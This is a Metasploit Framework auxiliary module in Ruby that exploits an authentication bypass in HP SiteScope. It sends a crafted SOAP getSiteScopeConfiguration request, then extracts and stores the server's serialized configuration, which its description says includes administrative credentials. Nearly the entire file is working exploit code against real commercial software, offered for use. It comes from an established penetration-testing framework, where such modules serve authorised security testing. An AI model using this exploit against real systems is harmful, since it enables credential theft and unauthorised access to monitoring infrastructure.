##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit4 < Msf::Auxiliary

	include Msf::Exploit::Remote::HttpClient
	include Msf::Auxiliary::Report
	include Msf::Auxiliary::Scanner

	def initialize
		super(
			'Name'         => 'HP SiteScope SOAP Call getSiteScopeConfiguration Configuration Access',
			'Description'  =>  %q{
					This module exploits an authentication bypass vulnerability in HP SiteScope
				which allows to retrieve the HP SiteScope configuration, including administrative
				credentials. It is accomplished by calling the getSiteScopeConfiguration operation
				available through the APISiteScopeImpl AXIS service. The HP SiteScope Configuration
				is retrieved as file containing Java serialization data. This module has been
				tested successfully on HP SiteScope 11.20 over Windows 2003 SP2 and Linux Centos
				6.3.
			},
			'References'   =>
				[
					[ 'OSVDB', '85120' ],
					[ 'BID', '55269' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-173/' ]
				],
			'Author'       =>
				[
					'rgod <rgod[at]autistici.org>', # Vulnerability discovery
					'juan vazquez' # Metasploit module
				],
			'License'      => MSF_LICENSE
		)

		register_options(
		[
			Opt::RPORT(8080),
			OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/'])
		], self.class)

		register_autofilter_ports([ 8080 ])
		deregister_options('RHOST')
	end

	def rport
		datastore['RPORT']
	end

	def run_host(ip)
		@peer = "#{rhost}:#{rport}"
		@uri = normalize_uri(target_uri.path)
		@uri << '/' if @uri[-1,1] != '/'

		print_status("#{@peer} - Connecting to SiteScope SOAP Interface")

		uri = normalize_uri(@uri, 'services/APISiteScopeImpl')

		res = send_request_cgi({
			'uri'     => uri,
			'method'  => 'GET'})

		if not res
			print_error("#{@peer} - Unable to connect")
			return
		end

		access_configuration
	end

	def access_configuration

		data = "<?xml version='1.0' encoding='UTF-8'?>" + "\r\n"
		data << "<wsns0:Envelope" + "\r\n"
		data << "xmlns:wsns1='http://www.w3.org/2001/XMLSchema-instance'" + "\r\n"
		data << "xmlns:xsd='http://www.w3.org/2001/XMLSchema'" + "\r\n"
		data << "xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/'" + "\r\n"
		data << ">" + "\r\n"
		data << "<wsns0:Body" + "\r\n"
		data << "wsns0:encodingStyle='http://schemas.xmlsoap.org/soap/encoding/'" + "\r\n"
		data << ">" + "\r\n"
		data << "<impl:getSiteScopeConfiguration" + "\r\n"
		data << "xmlns:impl='http://Api.freshtech.COM'" + "\r\n"
		data << "></impl:getSiteScopeConfiguration>" + "\r\n"
		data << "</wsns0:Body>" + "\r\n"
		data << "</wsns0:Envelope>"

		print_status("#{@peer} - Retrieving the SiteScope Configuration")

		uri = normalize_uri(@uri, 'services/APISiteScopeImpl')

		res = send_request_cgi({
			'uri'      => uri,
			'method'   => 'POST',
			'ctype'    => 'text/xml; charset=UTF-8',
			'data'     => data,
			'headers'  => {
				'SOAPAction'    => '""',
		}})

		if res and res.code == 200

			if res.headers['Content-Type'] =~ /boundary="(.*)"/
				boundary = $1
			end
			if not boundary or boundary.empty?
				print_error("#{@peer} - Failed to retrieve the SiteScope Configuration")
				return
			end

			if res.body =~ /getSiteScopeConfigurationReturn href="cid:([A-F0-9]*)"/
				cid = $1
			end
			if not cid or cid.empty?
				print_error("#{@peer} - Failed to retrieve the SiteScope Configuration")
				return
			end

			if res.body =~ /#{cid}>\r\n\r\n(.*)\r\n--#{boundary}/m
				loot = Rex::Text.ungzip($1)
			end
			if not loot or loot.empty?
				print_error("#{@peer} - Failed to retrieve the SiteScope Configuration")
				return
			end

			path = store_loot('hp.sitescope.configuration', 'application/octet-stream', rhost, loot, cid, "#{rhost} HP SiteScope Configuration")
			print_status("#{@peer} - HP SiteScope Configuration saved in #{path}")
			print_status("#{@peer} - HP SiteScope Configuration is saved as Java serialization data")
			return
		end

		print_error("#{@peer} - Failed to retrieve the SiteScope Configuration")
	end

end

